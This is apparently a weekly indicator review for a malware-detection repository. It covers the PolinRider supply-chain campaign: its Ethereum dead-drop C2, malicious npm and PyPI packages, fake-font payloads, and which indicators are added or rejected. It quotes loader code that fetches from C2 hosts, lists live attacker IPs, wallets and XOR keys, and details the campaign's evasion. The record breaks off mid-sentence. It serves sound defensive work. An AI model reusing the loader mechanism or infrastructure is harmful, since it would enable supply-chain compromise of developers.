Indicator review, 2026-10-05
| Outcome | 83 indicators added |
| Pull request | #35 |
| Indicator set | ioc/strong.txt, ioc/weak.txt, ioc/network.txt, ioc/bad-packages.txt, ioc/filenames.txt, ioc/implant-paths.txt |
Sources
Section titled “Sources”| Source | Reached | What it said |
|---|---|---|
| OpenSourceMalware dossier | yes, cloned and read | Unchanged for the fifth week running. Latest commit still 0a8c9ea, 2026-07-09 — twelve weeks. README still at its 2026-04-11 revision. None of this week’s strings appear anywhere in it |
| opensourcemalware.com blog | yes | Index enumerated again. One post inside the eight-day window: the-opensourcemalwareshow-episode23 (2026-10-02). No new written analysis since the 2026-09-26 A/B post the last entry worked through, but the episode carries a dated update on the fake-font vector that is new and is the basis for one addition below |
| Web search, last 7 days | yes | Searched the campaign name, MicrosoftSystem64 and ForceMemo. This is where the week came from: SafeDep published a new primary analysis on 2026-09-30 that no previous entry has seen |
| socket.dev tracker | no — 403, unchanged | Fourth week in a row, on both the tracker and the blog. Policy of the site, not the sandbox |
New primary sources read in full this week, neither of them previously cited in this directory:
| Source | Reached | How |
|---|---|---|
| SafeDep, “PolinRider Switches to Ethereum C2 in 30+ Repositories”, 2026-09-30 | yes | curl. The host is not on the sandbox’s block list, which no previous entry had established. Needs -L: the un-slashed URL returns 308 |
OpenSSF malicious-packages, read at commit ae1ef409 |
yes, cloned | A public git repository, so the whole database is readable. 71 records match this campaign’s indicators |
| Deception.Pro, “[Op Report] Hands-on-Keyboard Activity from the DPRK PolinRider Supply Chain Attack”, 2026-09-09 | yes | A honeypot capture, published inside the 2026-09-14 window and missed by that sweep. Provenance discussed below |
Reachability re-checked this week, since the table in the directory README says to do that regardless of what it claims:
| Host | Last entry | This week |
|---|---|---|
socket.dev |
403 | 403, blog and tracker alike |
thehackernews.com |
reachable | reachable |
checkmarx.com |
reachable | reachable |
opensourcemalware.com |
reachable | reachable |
safedep.io |
never tested | reachable |
blog.deception.pro |
never tested | reachable |
registry.npmjs.org |
never tested | reachable |
pypi.org, including the full /simple/ index |
never tested | reachable |
medium.com |
never tested | 403 |
The last two rows of that list matter more than they look. See the notes.
Sources that exist and could not be read. SlowMist published “PolinRider Poisons Nova Using On-chain Transactions as a C2 Manager” on 2026-09-21, on Medium, which returns 403 here. Search summaries describe it as corroborating the Ethereum dead-drop mechanism independently of SafeDep. Nothing in this entry is lifted from it. Socket’s own 2026-09-17 Packagist post is likewise 403, and Gurucul’s 2026-09-23 indicator post sits behind a community login.
Upstream state
Section titled “Upstream state”main carries the 2026-09-28 review, so this week’s branch is based on main
and not stacked on an unmerged one, unlike the last two.
The dossier has not moved in twelve weeks. What moved is that a second
analyst team has published a full teardown of a branch of this campaign that
ioc/ had almost no coverage of, and a third source — a machine-readable
malicious-package database — turns out to be readable from here.
SafeDep, 2026-09-30: the Ethereum dead drop, two wallets, 35 repositories
Section titled “SafeDep, 2026-09-30: the Ethereum dead drop, two wallets, 35 repositories”A malicious pull request against oxc-project/oxc on 2026-09-14 put the loader
into 20 build and test scripts. The maintainers did not merge it; an
[autofix.ci] formatter commit reflowed the one-line payload into 106 lines,
which is the only reason it was visible in the diff at all. From that one diff
SafeDep decoded every stage statically and walked the chain outward to 35
GitHub repositories still carrying the loader at HEAD on 2026-09-30, with
7,578 stars and 2,884 forks between them. Four Creative Tim dashboard templates
in that set account for 1,773 forks.
The mechanism is the one this repository already knows as NullReceiver, with a different chain and a second wallet:
- The loader asks three public Ethereum RPC endpoints for the current block number, rounds down to a multiple of 256, adds 3, and reads that block looking for a transaction whose sender contains a fixed 32-hex substring.
- The recipient address of that transaction is the payload: bytes 1–4 are an
IPv4 address and bytes 5–6 a port, then a second pair at offset 7. The post
shows the decode by hand —
c6 69 7f d2is198.105.127.210,01bbis 443. - Two operator wallets run this.
0x33ff3eda…9891has posted every 256 blocks (~51 minutes) since 2026-06-23, 2,895 transactions.0xa322E5f3…Ef1a— the wallet already instrong.txt— posts every 1,000 blocks since 2026-07-25, 491 transactions. - Because every rotation is a transaction, the wallet history is the C2 history. SafeDep decoded all of it: eleven servers across the two wallets, eight of them on AS149440 (Evoxt).
Three things about this bear on the current set, and all three are now fixed or written down:
ioc/had two of the eleven C2 addresses for the0x33ffbranch and three of six for0xa322. The chain had simply not been read back far enough by the sources previous entries used. All eight missing addresses are added.- The
0xa322wallet address instrong.txtis in the wrong case. It was added on 2026-09-14 lowercased.ioc/is matched withgrep -Fand no-i, and the literal in an infected file is the checksummed mixed-case form — SafeDep prints'0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a'.toLowerCase()straight out ofpostcss.config.jsin one victim repository. The existing entry has never matched a sample. Both forms are now carried. - The first XOR key in
strong.txtis a ten-character prefix of a sixteen-character key, and this source settles the question the last entry could not. See below.
The XOR-key question from 2026-09-28 is answered, and the answer is the other one
Section titled “The XOR-key question from 2026-09-28 is answered, and the answer is the other one”The 2026-09-28 entry read OpenSourceMalware’s column-aligned table
XOR keys q4FZkxX{!h,Sr3=@ y-p_>d$0B&@^1aQkas two keys separated by the comma, could not tell whether the run of spaces in
the second belonged to the key or to the column alignment, and carried
q4FZkxX{!h — the longest unambiguous part of the first — plus the whole of the
second. That reasoning was sound given one column-aligned table. It was wrong
about where the boundary falls.
SafeDep prints the same pair as two arguments in source code:
await rl(new URL(`http://${o}:443/0x/cls`), 'q4FZkxX{!h,Sr3=@', !1);await rl(new URL(`http://${o}:443/0x/ls`), 'y-p_>d$0B&@^1aQk', !0);and its own indicator CSV repeats it per path: /0x/cls → “Response XOR key
q4FZkxX{!h,Sr3=@”, /0x/ls → “Response XOR key y-p_>d$0B&@^1aQk”. The comma
is inside the first key, both keys are sixteen characters, and the run of spaces
in OpenSourceMalware’s table was column alignment after all.
So q4FZkxX{!h,Sr3=@ is added. The shorter q4FZkxX{!h is kept, not
replaced: it is a prefix of the full key, it still matches every sample the
full key matches, and it additionally covers a build that reuses only the first
half. The cost is one extra line of scanner output on a file that is already
INFECTED. The 2026-09-28 entry stands as written and was not edited — this
paragraph is the correction, and the comment above the two entries in
ioc/strong.txt records it where someone reading the data will see it.
OpenSSF malicious-packages: the 55 package names
Section titled “OpenSSF malicious-packages: the 55 package names”SafeDep mentions in passing that “the OpenSSF malicious-packages database has 70
records (68 npm and 2 PyPI) that contain 0xa322E5f3 or the /0x/cls path”.
That database is a public git repository on github.com, which is reachable
from here, so it was cloned and searched rather than taken on trust. The search
returns 71 records — 69 npm, 2 PyPI — published between 2026-06-24 and
2026-10-04, every one of them matching an indicator this repository already
carries.
Each record names its reporter: Amazon Inspector, GitHub Security Advisories, or
Kamil Mańkowski’s bad-packages feed. The pybitjs record makes the
attribution explicit — “The payload and embedded IoCs are consistent with
campaigns attributed to Lazarus APT/PolinRider” — and cites the Deception.Pro
report as a reference, which is how that third source came to be read.
Two separations were done before anything was added, and both were mechanical rather than judged:
- Attacker-owned versus hijacked. Every candidate was fetched from
registry.npmjs.orgorpypi.org. A package whose entire version history has been removed —latestabsent, or the0.0.1-securityplaceholder npm substitutes — is one the registry treats as wholly malicious. A package with a reallatestand years of history is a hijacked victim, and for those the name alone is not a finding, so they go in as comments with their versions. That split put nine packages on the comment side, including three (@kolbo/mcp, 265 versions, latest1.107.2; and@syncraft-labs/core,/react,/vue) that are still live on npm with a later clean release. - The substring trap.
bad-packages.txtis matched withgrep -F, so a name that is a prefix of a real package reports every project depending on the real one asINFECTED. Each candidate was run through npm’s search API, and every superstring it returned was then fetched directly to see whether it was a live maintained project or a placeholder. That caught five, listed under considered and not added. This is the first week this check has been done mechanically instead of by eye; see the notes.
Fifty-five names survived both filters and are added.
Deception.Pro, 2026-09-09: a honeypot with an operator in it
Section titled “Deception.Pro, 2026-09-09: a honeypot with an operator in it”Published inside the 2026-09-14 window and missed by that sweep. It records an
operator working interactively on an infected host for about 167 hours:
installing Python 3.14 machine-wide, pulling clipboard-theft and screen-capture
dependencies with pip, laying down three separate persistence mechanisms, and
exfiltrating over HTTP POST with rotating user agents.
This is a source no previous entry has used, and I had no prior basis for trusting it. It is carried because it is corroborated twice over, from directions it could not have arranged:
- its loader C2,
23.27.13.135, is independently confirmed by SafeDep as the0xa322C2 for 2026-08-22 to 2026-08-27 — a window the report could not have known from any other published source, because SafeDep is the first to decode the rotation; and - the OpenSSF record for
pybitjs, written by Amazon Inspector and Kamil Mańkowski, cites this report as one of its references.
Its contribution is the Windows hands-on-keyboard stage, which ioc/ had
nothing on: a %TEMP% stager pair and a VBS run from both a scheduled task and
a Startup entry, under a name that impersonates the .NET native-image service.
Four indicators from it are added — two filenames, one C2 address and one
file-host string — and everything else it publishes is turned away below. A
maintainer who does not want to rely on this source can drop exactly those four
lines: each sits in its own commented block naming it.
Episode 23, 2026-10-02: the fake font drops the font extension
Section titled “Episode 23, 2026-10-02: the fake font drops the font extension”The only post inside this week’s window is a podcast episode, and it is not
nothing. Two weeks after the A/B-testing analysis, the hosts report that the
same payload has been given a .llf extension, which has nothing to do with
fonts, and that they counted over 120 versions of it live on GitHub on
2026-09-28. The repository one of them was researching was force-pushed and
overwritten between a Friday-night blog post and the Monday morning, changing
the file type — the rotation observed in real time, in the window between
publication and promotion.
Two things follow:
- This is the first current-variant font indicator the set can carry. The
2026-09-28 entry rejected
fa-solid-900.woff2because that is a genuine Font Awesome filename andfilenames.txtisINFECTEDtier with no weaker path tier..llfdoes not have that problem: Font Awesome ships.woff2,.woff,.ttf,.eotand.svg, and no legitimate project names an.llfafter a font weight.filenames.txtis already extended regex, which has been true all along and which no previous entry has used for this vector, so the weight can be a character class instead of a guess. - The source is a spoken transcript, and the filename is stated across two
sentences — “they’re keeping the front of the file name basically the same,
so
fa-solid-fill in a number”, then “the one that I saw was 300, but instead of.woff2it’s a.llf”. No single literal is printed anywhere on the page. That is a reason to carry the pattern rather than a specific name, not a reason to carry nothing: every element of the regex is stated explicitly, and the number is the part the source says rotates.
The episode also mentions, as history rather than as a current finding, that
earlier sub-variants used fake .dic dictionary files and that those older
forms are “coming back”. Nothing is added for that; see below.
Eighty-three indicators, from four sources read in full.
ioc/strong.txt — 11
Section titled “ioc/strong.txt — 11”| Indicator | Why there | Source |
|---|---|---|
33ff3edaf55a8e03dcbc7cb40d498a49 |
The sender check the stage-2 loader embeds verbatim (var r = '33ff…'). Carried as this 32-hex truncation on purpose: it also matches the full operator address 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 and the X: request header, neither of which the full address would match |
SafeDep |
_$_fed0 |
String-table name of this build — the same shape as _$_1e42, in strong.txt since the first release |
as above |
global.o='5- |
The campaign-marker assignment with the counter dropped. Published markers: 5-841-du, 5-1169-du, 5-1460-du. Nothing legitimate assigns a "5-" string to global.o |
as above |
| `YU7m{rE/> | ==b>#~` | XOR key for the /0/body response. Sixteen high-entropy characters, no whitespace, and it appears twice in the page — in the decoded /0/boot listing and in the indicator CSV — identically |
0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a |
The second operator wallet in the checksummed case the loader actually embeds. The lowercase entry added 2026-09-14 cannot match it under grep -F |
as above |
TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF |
Tron primary dead drop of the paired 1-NN-1 loader. SafeDep reports finding it in no earlier public report |
as above |
TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH |
Tron fallback dead drop of the same pair | as above |
0x3d2075f97b7b1e3234bd653779d21c605d7d8c6ec9c98d983880be5c7f4f9471 |
Aptos account of the same pair. 64 hex characters | as above |
0x9d202c824402ca89e9aaccd2390b6f8b332ae743caa1469c695feb2781d56519 |
Aptos account of the same pair | as above |
q4FZkxX{!h,Sr3=@ |
The complete first XOR key of the 0xa322 branch. Corrects the boundary the 2026-09-28 entry could not establish |
as above |
test26330331/test |
Attacker-owned GitLab project serving the second-stage loader. Same treatment as the two GitHub system-releases accounts already here |
Deception.Pro |
ioc/weak.txt — 5
Section titled “ioc/weak.txt — 5”| Indicator | Why there | Source |
|---|---|---|
global.i="A |
Every marker entry in strong.txt is pinned to one number, and the markers published since include A9-0337-4, A10-*23720 and A8-3465, which none of them match. This is SafeDep’s own recommended hunt expression. Review tier because it would also match a legitimate assignment of any string starting A |
SafeDep |
global.i = 'A |
The same marker in the spaced single-quote style, which is the form the tailwindadmin/admin sample uses (global.i = 'A10-*23720';) |
as above |
global.o=' |
The 0x33ff branch marker without the counter, which catches global.o='1-35' where the strong.txt entry does not. Review tier: a bare global assignment |
as above |
x-payload-b64 |
The response header lower-cased. HTTP header names are case-insensitive, grep -F is not, and the OpenSSF record for tailwind-anim prints the literal in lower case where OpenSourceMalware printed it capitalised |
OpenSSF MAL-2026-11500 (Amazon Inspector) |
files.catbox.moe |
Payload staging on a public file host. Ordinary service with ordinary uses: alert, do not block — the same tier as the Ethereum RPC endpoints | Deception.Pro |
ioc/network.txt — 8
Section titled “ioc/network.txt — 8”All eight recovered by decoding heartbeat recipients off the Ethereum ledger, or
from the honeypot capture. 198.105.127.210, 166.88.134.62, 166.88.73.46
and 193.247.144.38 were already present and are independently confirmed by
this source.
| Indicator | Branch and window | Source |
|---|---|---|
45.137.198.133 |
0x33ff C2 #2 from 2026-09-28, port 80. AS212477 |
SafeDep |
181.214.149.147 |
0x33ff, 2026-09-03 to 2026-09-07. AS397423 |
as above |
181.214.149.148 |
0x33ff, 2026-09-07 to 2026-09-25. AS397423 |
as above |
23.27.20.187 |
0x33ff, 2026-06-23 to 2026-09-03. AS149440 |
as above |
23.27.13.135 |
0xa322, 2026-08-22 to 2026-08-27. AS149440 |
as above, and independently in the Deception.Pro capture |
166.88.134.75 |
0xa322, 2026-09-17 to 2026-09-28. AS149440 |
as above |
91.218.183.174 |
0xa322, from 2026-09-28. AS149440 |
as above |
150.251.113.223 |
Stealer exfiltration, port 8443 | Deception.Pro |
The more durable fact here is AS149440 (Evoxt): eight of the eleven servers
across both wallets sit on it, and the addresses rotate roughly weekly. That is
an autonomous-system block, which network.txt cannot express — noted under
techniques, not implemented.
ioc/filenames.txt — 3
Section titled “ioc/filenames.txt — 3”| Indicator | Why there | Source |
|---|---|---|
(^|/)SvcHostUpdate\.(py|js)$ |
The %TEMP% stager pair of the hands-on-keyboard stage. Nothing legitimate ships a SvcHostUpdate.py |
Deception.Pro |
(^|/)MicrosoftCLROptimization\.vbs$ |
The logon payload, run from both a scheduled task and a Startup entry of the same name. It impersonates the .NET native-image service, which is actually called .NET Framework NGEN v4.0.30319 |
as above |
(^|/)fa-solid-[0-9]{3}\.llf$ |
The fake-font payload with a non-font extension. fa-solid-900.woff2 was rejected last week because it is a genuine Font Awesome filename; .llf is not one, so this is safe at INFECTED tier where the .woff2 forms are not. See below |
OSM, The OpenSourceMalware Show #23 |
ioc/implant-paths.txt — 1
Section titled “ioc/implant-paths.txt — 1”| Indicator | Why there | Source |
|---|---|---|
%LOCALAPPDATA%\Temp\tmp7A863DD1.tmp |
The Python stealer’s lock file on Windows, beside the /tmp/tmp7A863DD1.tmp already carried for Linux and macOS. Same literal filename, so the same confidence |
SafeDep |
ioc/bad-packages.txt — 55
Section titled “ioc/bad-packages.txt — 55”Every name from the 71 matching OpenSSF records that passed both filters above.
Source for all of them:
OpenSSF malicious-packages at
commit ae1ef409, read 2026-10-05, with the per-name record ID below; and
SafeDep for
the finding that this database holds them.
npm, 53 names:
| Record | Name | Record | Name |
|---|---|---|---|
| MAL-2026-12318 | @hoteldev/common |
MAL-2026-12217 | tailwind-animate-plugin |
| MAL-2026-12323 | @nasddatax/common |
MAL-2026-12219 | tailwind-animationgroup |
| MAL-2026-12324 | @nasdtickets/common |
MAL-2026-12220 | tailwind-animationpack |
| MAL-2026-12328 | @rentwise/common |
MAL-2026-12027 | tailwind-anime |
| MAL-2026-13388 | @simplipayng/checkout |
MAL-2026-15925 | tailwind-contact-forms |
| MAL-2026-12330 | @vboxdev/common |
MAL-2026-12221 | tailwind-custom-forms |
| MAL-2026-14285 | @wizloft/harness |
MAL-2026-14195 | tailwind-custom-templates |
| MAL-2026-14286 | @wizloft/harness-context |
MAL-2026-16405 | tailwind-form-styles |
| MAL-2026-14287 | @wizloft/harness-kernel |
MAL-2026-13923 | tailwind-form-templates |
| MAL-2026-14288 | @wizloft/harness-plugin-repository-files |
MAL-2026-17310 | tailwind-forms-kit |
| MAL-2026-14289 | @wizloft/harness-validation |
MAL-2026-16195 | tailwind-forms-styles |
| MAL-2026-12332 | @zahlen/checkout-angular |
MAL-2026-12116 | tailwind-hide-scrollbar |
| MAL-2026-12333 | @zahlen/checkout-react |
MAL-2026-15634 | tailwind-minanimated |
| MAL-2026-14290 | anhn-cli |
MAL-2026-15635 | tailwind-modernanimation |
| MAL-2026-12177 | devpack-conf |
MAL-2026-12222 | tailwind-opentype |
| MAL-2026-13921 | envpack-conf |
MAL-2026-15904 | tailwind-scrollbar-styles |
| MAL-2026-13705 | iconova-react |
MAL-2026-14567 | tailwindcss-3d-animate |
| MAL-2026-12417 | post-css-transfer |
MAL-2026-15906 | tailwindcss-animate-styles |
| MAL-2026-13696 | postcss-initial-provider |
MAL-2026-16251 | tailwindcss-contact-form |
| MAL-2026-13957 | postcss-initialize-plugin |
MAL-2026-16124 | tailwindcss-contact-forms |
| MAL-2026-13518 | postcss-theme-provider |
MAL-2026-15826 | tailwindcss-fluid-styles |
| MAL-2026-12189 | react-scroll-disable |
MAL-2026-16262 | tailwindcss-form-ui |
| MAL-2026-12192 | scrollbar-hide-plugin |
MAL-2026-16263 | tailwindcss-form-utils |
| MAL-2026-12437 | simplipayng |
MAL-2026-15636 | tailwindcss-forms-style |
| MAL-2026-12054 | uibabai |
MAL-2026-17524 | tailwindcss-forms-styles |
| MAL-2026-16295 | tailwindcss-forms-ui |
MAL-2026-13604 | tailwindcss-motion-advanced |
| MAL-2026-12224 | tailwindcss-scrollbar-hide |
PyPI, 2 names: pybitjs (MAL-2026-14545) and pyservercheck (MAL-2026-15603).
Both are gone from PyPI, and neither is a substring of anything in the live
/simple/ index, which was downloaded in full and searched to confirm it.
MAL-2026-17524 for tailwindcss-forms-styles was published 2026-10-04 —
yesterday. This set is still growing weekly.
Two existing comments corrected
Section titled “Two existing comments corrected”Not new indicators, but the existing hijacked-version note in
bad-packages.txt understated two ranges, and the OpenSSF records list every
affected version:
fetch-page-assets— was “1.2.9 through 1.2.14”, is 1.2.9 through 1.2.16 (MAL-2026-6358)html-to-gutenberg— was “4.2.11”, is 4.2.11 through 4.2.22 (MAL-2026-6359)
Both have since been cleaned up on npm: on 2026-10-05 the dist-tags are
fetch-page-assets@1.2.8 and html-to-gutenberg@4.2.10, behind the first
malicious release in each case. The note now says so.
Verified against fixtures
Section titled “Verified against fixtures”Built outside the repository working tree and scanned with
ci/scan-workspace.sh:
- one file carrying all eleven new
strong.txtstrings →INFECTED, exit 2 - one file carrying only the five new
weak.txtstrings, in their real sample forms (global.i="A9-0337-4",global.i = 'A10-*23720',global.o='1-35', the lower-cased header, afiles.catbox.moeURL) →reviewonly, exit 0, and exit 1 under--fail-on review - a directory holding only
SvcHostUpdate.pyandMicrosoftCLROptimization.vbs→INFECTED, exit 2, on the filenames alone - a directory holding
fa-solid-300.llfandfa-solid-900.llf→INFECTED, exit 2, both of them, on the filename regex alone - the
.llfregex’s near misses, with real WOFF2 magic bytes so the existing font-masquerade check stays quiet:fa-solid-900.woff2,fa-solid-300.woff2,fa-regular-400.woff2,levels.llf,fa-solid-brands.llfandfa-solid-30.llf(two digits) → zero findings, exit 0. The same directory with the.woff2files holding non-font content is correctlyINFECTEDon the pre-existing magic-bytes check, which is how it was confirmed that the new regex and not that check is what fires on the.llfnames - a
package.jsonnaming six of the new packages across both ecosystems →INFECTED, exit 2 - each of the sixteen new content indicators in a file of its own → all
sixteen fire, eleven
INFECTEDand fivereview. The deduplicating output of a combined scan hides this, which is why it is done separately - all 55 new package names checked individually against the stripped indicator list the scanner builds → all 55 match as fixed strings, none missed
- near-miss negatives → zero findings, exit 0: a
package.jsondepending ontailwindcss-animate,tailwind-animate,tailwind-animations,tailwind-container-queries-2d,@webdev-config/eslint,tailwindcss-forms,tailwind-forms,pybit,sass-formatter,typeorm-encryptedandclsx-tailwind-merge; and a file carryingglobal.item = "Abc",global.optimize='5-841',X-Payload-B65,_$_feg0, the0xa322address with its last character changed, the new XOR key one character short,test26330331without the project, and references to/tmp/.pipand~/.node_modules; plus files namedclr_init.vbsandSvcHostUpdater.py ./polinrider.sh --pathon the strong fixture → exit 2; on the negative fixture → exit 0machine-cleanup/check-linux.shagainst a clean directory → output byte for byte identical to the same run from a worktree of unmodifiedorigin/main, apart from the timestamp and report filename, so nothing in the newnetwork.txtorimplant-paths.txtlines changes its behaviour- no duplicate line anywhere in the set, and no line present in both
strong.txt/bad-packages.txtandweak.txt
Considered and not added
Section titled “Considered and not added”Five names from the same 71 OpenSSF records. Each is a strict substring of a live package, verified by fetching the real one from the registry rather than assuming:
| Rejected | Is inside | The real package |
|---|---|---|
tailwind-anim |
tailwind-animate, tailwind-animations |
tailwind-animate@0.2.10, 19 versions, real description, live |
tailwindcss-anim |
tailwindcss-animate, tailwindcss-animated, tailwindcss-animatecss, tailwindcss-animation-delay, @nobie-org/tailwindcss-animate, @anuragroy/tailwindcss-animate |
tailwindcss-animate@1.0.7 — the widely used one |
tailwind-container-queries |
tailwind-container-queries-2d |
@1.0.5, 6 versions, live |
webdev-conf |
@webdev-config/eslint |
@0.1.3, a real scoped project |
tailwindcss-form |
tailwindcss-forms |
tailwindcss-forms is itself unpublished (latest absent), so the hazard is weaker here — but the name is one character from a plausible real package, and it is a strict prefix of three malicious names already carried, so it buys nothing |
This is the same trap as sass-format, typeorm-encrypt and clsx-tailwind,
recorded on 2026-09-14. Matching any of these eight needs a whole-name check
against a parsed manifest.
The six heartbeat recipient addresses, and the four funder wallets.
0xc6697fd201BB2d89C685005000FF68cE430F572A and its five predecessors are the
transaction recipients the C2 addresses are decoded from; 0xd31A213E…,
0x76D6dDCB…, 0x4E5B2e1d… and 0x96C8e62C… funded the two operator wallets.
None of the ten appears in a file on disk — they exist on the chain — and
strong.txt matches file contents, so carrying them would produce entries that
can never match. This is the same reasoning strong.txt already records for the
NullReceiver recipient (“disposable by design and deliberately not listed”), and
0x4E5B2e1d… is additionally described as a high-volume wallet, which is a
false-positive risk on top. The decoded IP addresses are what reaches
network.txt, and they are all there.
68656c6c6f6970626f742121. The hex of helloipbot!!, the fixed 12-byte tail
of every 0xa322 heartbeat recipient. A chain artifact, like the ten above: it
is a property of the address, not a string in the loader. Carried nowhere.
strong.txt already notes the plaintext joke in its NullReceiver comment.
X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-841-du. A request header assembled at
run time. Its distinctive half is the 32-hex sender check, which is carried on
its own and matches wherever the header is written literally.
Sec-V. Third rejection, same reason: five characters.
The five published SHA-256 hashes — 02b7e072…, 84a3f1bd…, 5cbcb8e1…,
f6d9f2fb… and 3be09f8c… — and the five from the Deception.Pro report.
This is the fourth consecutive week real published hashes have been turned away,
and the count of examples behind the gap goes from five to fifteen. The reason is
unchanged and is a property of the code, not of the hashes: both hash sweeps in
lib/local-common.sh are bounded to files larger than 10 MB and smaller than
300 MB, or keyed to an implant-paths.txt path, and ci/scan-workspace.sh
does not read hashes.txt at all. Every hash here is a C2 response, a stager or
a wheel — kilobytes. Adding them would make the set look like it covers the
Ethereum branch when nothing would ever compare them.
~/.node_modules and /tmp/.pip. The private npm prefix the stage-4 script
installs axios and socket.io-client into, and its fallback pip target.
implant-paths.txt is INFECTED tier with no weaker path tier, and both are
paths a developer could plausibly create — ~/.node_modules in particular is a
documented way to configure an npm prefix. Fifth week the missing weak path tier
has blocked an addition. ~/.local/bin/py is rejected for the same reason and
is worse: py is the real Python launcher’s name.
clr_init.vbs. Dropped beside MicrosoftCLROptimization.vbs. Ordinary
enough that a legitimate .NET tool could write it, and filenames.txt has no
review tier.
files.pythonhosted.org and bootstrap.pypa.io. The stage-4 script installs
Python and pip from them. These are PyPI’s own CDN and bootstrap host; carrying
either at any tier would fire on essentially every Python project.
microsoft-standard-WSL2. The loader checks os.release() for it, to decide
whether to also start node.exe and cross from the WSL2 guest to the Windows
host. Every WSL2 kernel release string contains it. The technique is new and
worth a maintainer’s attention; the string is not an indicator.
global._p_t, _H2, _t_s, _t_u, and _$_xxxx=(function(. The 30-second
re-entry guard and the globals SafeDep uses to tie this campaign to its earlier
astro.config.mjs and @joyfill investigations. Two problems: the first three
live in stage 2, which reaches the repository file only as an encoded blob, and
the 0xa322 loader is written with \u escapes, so even the plaintext ones are
not plaintext in the file — SafeDep had to convert the escapes before reading
them. The table pattern is a regex. See the techniques section; this is a
detection problem, not a missing string.
/boot, /0/boot, /init, /0/body, /snv, /$/1, /u/f. The request
paths of the 0x33ff branch. Unlike /0x/cls and /0x/ls, carried last week
because that build’s string table is legible, these live in stage 2 — dictionary
compressed inside the repository file — so they do not appear in a scanned file.
And /boot and /init as fixed strings would match ordinary code.
The sandbox-evasion host and user list — buildkitsandbox, github-runne,
codespace, devcontainer, vercel-sandb, assemblyline — and the
Blocked (BOT) marker. String-table entries of stage 4, which is downloaded
rather than committed, and ordinary words besides. codespace and
devcontainer would fire on a great many repositories.
AS149440, AS397423, AS212477. Eight of eleven servers on one
autonomous system is the most durable network fact in the SafeDep report, and
network.txt holds addresses. An AS-level blocklist is a different artifact;
see techniques.
Commit 41ab07a849c68472779da562d1530cf19f116ccf, and all the victims.
oxc-project/oxc, tailwindadmin/admin, the four Creative Tim templates, the
admin-dashboards organization, visanduma and the developer named in Socket’s
Packagist write-up. The precedent is settled and this entry does not reopen it: a
victim’s name is not an indicator of anything in someone else’s project. The one
exception is the visanduma/nova-two-factor line added as a comment in the
hijacked block, where it cannot match anything and tells a PHP shop something
they would want to know.
The .dic fake-dictionary variant, and fa-solid-NNN.woff2 once more.
Episode 23 says older sub-variants used fake .dic files and that they are
returning, but it does not pair the .dic extension with the fa-solid-
prefix, and a bare \.dic$ is an ordinary dictionary file — spellright.dict
was rejected on the same grounds on 2026-09-14. The .woff2 forms stay out for
the fourth week: fa-solid-900.woff2 is a real Font Awesome filename, and a
regex over the weight does not help when the extension is the legitimate one.
Both are caught today only by the font-magic-bytes check in
ci/scan-workspace.sh, which remains the most durable detection this repository
has for this vector and which the local checks still do not do.
The GlassWorm cluster. Search results this week repeatedly conflate GlassWorm
with PolinRider — a Medium write-up and nocturnalknight.co both describe
ForceMemo as a PolinRider “phase” that uses GlassWorm-stolen tokens. The primary
source says otherwise: OpenSourceMalware’s own GlassWorm post, 2026-03-16, states
“This new campaign is probably Russian in origin — not DPRK”, and tracks it
separately. Its indicators — the Solana C2 address, the lzcdrtfxyqiplpd marker,
~/init.json, the thirteen IPs, the AES key and IV — stay out. Recorded here
because the conflation is in secondary coverage that a future reviewer will hit
again.
The GHAPPIER set, again. No new primary material. Scope decision from 2026-09-21 stands and remains the maintainer’s to revisit.
SlowMist’s “Nova” report and Socket’s Packagist post. Both describe the same Ethereum dead drop SafeDep decoded, which makes the mechanism three-source corroborated — and neither is readable here (Medium 403, socket.dev 403). No string is lifted from a search summary of either.
New techniques — maintainer decisions, not implemented
Section titled “New techniques — maintainer decisions, not implemented”Nothing below is implemented. The first three are the ones that would change what this repository can detect.
- An AS-level network tier. Eight of the eleven C2 servers across both
wallets are on AS149440 (Evoxt), and the addresses rotate roughly weekly —
network.txtgained seven addresses this week that were current for between three and eighteen days each. The file’s own header already says “IP addresses rotate: block them, do not rely on them”, and this week is the measurement that proves it. An AS or CIDR tier would be stable where the addresses are not. It is also the one piece of this that is useful without the scanner: an egress policy can block an AS. - The
\u-escape problem, which defeats fixed-string matching outright. The0xa322loader is plain JavaScript written with Unicode escapes; SafeDep had to convert them before any of its strings were legible. That meansglobal.i="A8-,global.i = 'A8, the wallet addresses and the XOR keys — the better half ofstrong.txt— do not match the raw bytes of a file in that family, whatever their case. Nothing inioc/can fix this, because the problem is not which string to match but that the file does not contain the string. What would fix it is a normalisation pass before matching: decode\uXXXXand\xNNescapes in a copy of the candidate file and scan that too. This is the highest-value code change this review has identified, and it is not a one-line one. - The regex content tier, and the weak path tier. Fourth and fifth
consecutive week respectively. This week they would have let in
_$_[0-9a-f]{4}=\(function(which is one of the two expressions SafeDep recommends),node .*fa-solid-[0-9]{3}\.woff2from last week, and~/.node_modules,/tmp/.pipandclr_init.vbsas paths worth a look rather than a verdict. - A long-line check. SafeDep’s first recommended hunt is not a string at
all:
grep -rnE '.{1000,}'over.js,.mjs,.cjsand.ts. The payload in the oxc commit sits after 2,000 space characters on the last line of each of 20 files, and the September fake-font builds pad with 273 and 421 tabs. This is content-independent, survives every rotation this campaign has shown, andci/scan-workspace.shdoes not do it. Cheap to add and it does not touchioc/at all. - An author/committer mismatch check. SafeDep’s third hunt is
git log --format='%h|%an|%cn|%ad|%cd' | awk -F'|' '$2 != $3', and the oxc commit is the illustration: author an oxc maintainer dated 2026-07-16, committer the attacker account dated 2026-09-25, ten weeks apart, message describing a real benchmark change.AGENTS.mdalready warns that git history cannot be trusted to decide whether a branch is clean — this is the positive form of that warning, a fingerprint rather than an absence, and it matches what the 2026-09-28 entry recorded from the activity API (814 of 853 force-pushes rewrote only the tip with the same parent and author date). - WSL2 guest-to-host crossing. When
os.release()containsmicrosoft-standard-WSL2the loader startsnode.exeas well asnode, so an infection contained in a Linux guest reaches the Windows host. The local checks are split by operating system andcheck-linux.shhas no reason today to care about Windows paths. A developer running WSL2 needs both checks, and nothing currently says so. - Python as a second runtime. The stage-4 script installs Python (on Windows
from
